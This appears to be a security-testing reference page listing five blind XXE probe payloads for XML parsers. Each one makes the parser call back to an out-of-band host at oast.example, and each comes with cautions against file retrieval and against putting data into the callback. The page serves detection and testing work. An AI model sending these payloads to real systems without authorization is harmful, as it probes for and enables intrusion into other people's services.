Blind XXE OAST Probes
Callback-only external entity probes for XML parsers that do not return entity values. Use empty controlled responses and unique tokens. Do not retrieve files, expand recursive entities, or encode data into the callback.
Use as a detection primitive
Callback-only external entity probes for XML parsers that do not return entity values. Use empty controlled responses and unique tokens. Do not retrieve files, expand recursive entities, or encode data into the callback.
Identify the parser, sink, encoding, and expected non-vulnerable behavior before choosing a sample. Prefer non-destructive markers.
Use one readable case ID plus a random opaque suffix for every request, field, and variant. Keep one unsubmitted ambient-noise token. Put no secrets or target data in labels, paths, or queries. Redact at ingestion, never publish raw callback logs, and clean up controlled records after sufficient proof.
Recorded payloads
Confirm the sink and encoding context before use.
<!DOCTYPE x [<!ENTITY xxe SYSTEM "https://xxe017-general.UNIQUE.oast.example/entity">]><x>&xxe;</x>- Expected signal
- Not verified for this generic template. Confirm the exact tool version and expected output in its official documentation before use.
- Negative control
- Define a known-safe or nonexistent target that should produce a meaningfully different result.
- Effect and bounds
- Unknown until flags and target are reviewed. Assume the command sends traffic or changes local state unless the tool documentation proves otherwise.
Confirm the sink and encoding context before use.
<!DOCTYPE x [<!ENTITY % xxe SYSTEM "https://xxe017-parameter.UNIQUE.oast.example/dtd"> %xxe;]><x/>- Expected signal
- Not verified for this generic template. Confirm the exact tool version and expected output in its official documentation before use.
- Negative control
- Define a known-safe or nonexistent target that should produce a meaningfully different result.
- Effect and bounds
- Unknown until flags and target are reviewed. Assume the command sends traffic or changes local state unless the tool documentation proves otherwise.
Confirm the sink and encoding context before use.
<?xml version="1.0"?><!DOCTYPE svg [<!ENTITY xxe SYSTEM "https://xxe017-svg.UNIQUE.oast.example/entity">]><svg xmlns="http://www.w3.org/2000/svg"><text>&xxe;</text></svg>- Expected signal
- Not verified for this generic template. Confirm the exact tool version and expected output in its official documentation before use.
- Negative control
- Define a known-safe or nonexistent target that should produce a meaningfully different result.
- Effect and bounds
- Unknown until flags and target are reviewed. Assume the command sends traffic or changes local state unless the tool documentation proves otherwise.
Confirm the sink and encoding context before use.
<!DOCTYPE x SYSTEM "https://xxe017-external-subset.UNIQUE.oast.example/dtd"><x/>- Expected signal
- Not verified for this generic template. Confirm the exact tool version and expected output in its official documentation before use.
- Negative control
- Define a known-safe or nonexistent target that should produce a meaningfully different result.
- Effect and bounds
- Unknown until flags and target are reviewed. Assume the command sends traffic or changes local state unless the tool documentation proves otherwise.
Confirm the sink and encoding context before use.
<!DOCTYPE x [<!ENTITY xxe SYSTEM "http://xxe017-http.UNIQUE.oast.example/entity">]><x>&xxe;</x>- Expected signal
- Not verified for this generic template. Confirm the exact tool version and expected output in its official documentation before use.
- Negative control
- Define a known-safe or nonexistent target that should produce a meaningfully different result.
- Effect and bounds
- Unknown until flags and target are reviewed. Assume the command sends traffic or changes local state unless the tool documentation proves otherwise.
Attribution
Version history: normalized permanent page created 2026-08-20.